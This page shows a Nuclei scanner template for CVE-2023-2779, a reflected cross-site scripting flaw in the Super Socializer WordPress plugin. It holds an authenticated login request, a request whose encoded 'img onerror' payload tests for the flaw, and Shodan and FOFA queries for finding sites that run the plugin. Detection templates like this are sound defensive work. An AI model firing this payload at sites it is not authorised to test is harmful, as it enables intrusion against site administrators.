Super Socializer < 7.13.52 - Cross-Site Scripting

ID: CVE-2023-2779

Severity: medium

Author: r3Y3r53

Tags: cve,cve2023,wpscan,xss,wp,wp-plugin,wordpress,authenticated,super-socializer,heator

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

YAML Source

id: CVE-2023-2779

info:
  name: Super Socializer < 7.13.52 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.
  remediation: Fixed in version 7.13.52
  reference:
    - https://wpscan.com/vulnerability/fe9b7696-3b0e-42e2-9dbc-55167605f5c5
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2779
    - https://wordpress.org/plugins/super-socializer/
    - https://github.com/40826d/advisories
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2779
    cwe-id: CWE-79
    epss-score: 0.0083
    epss-percentile: 0.8196
    cpe: cpe:2.3:a:heator:social_share\,_social_login_and_social_comments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: heator
    product: social_share\,_social_login_and_social_comments
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/super-socializer/
    fofa-query: body=/wp-content/plugins/super-socializer/
    publicwww-query: "/wp-content/plugins/super-socializer/"
  tags: cve,cve2023,wpscan,xss,wp,wp-plugin,wordpress,authenticated,super-socializer,heator

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin-ajax.php?action=the_champ_sharing_count&urls[%3Cimg%20src%3Dx%20onerror%3Dalert%28document%2Edomain%29%3E]=https://oast.pro HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(header_2, "text/html")'
          - 'contains(body_2, "<img src=x onerror=alert(document.domain)>") && contains(body_2, "facebook_urls")'
        condition: and
# digest: 4a0a00473045022030f36ab6a95612336abccc1979c7c9e155a11b747a54848338833719b0014df3022100b6b2023710405ffcb6add701225ad57b2dd36e3b17582ebd3d7e584ec53ec8f8:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-2779.yaml"

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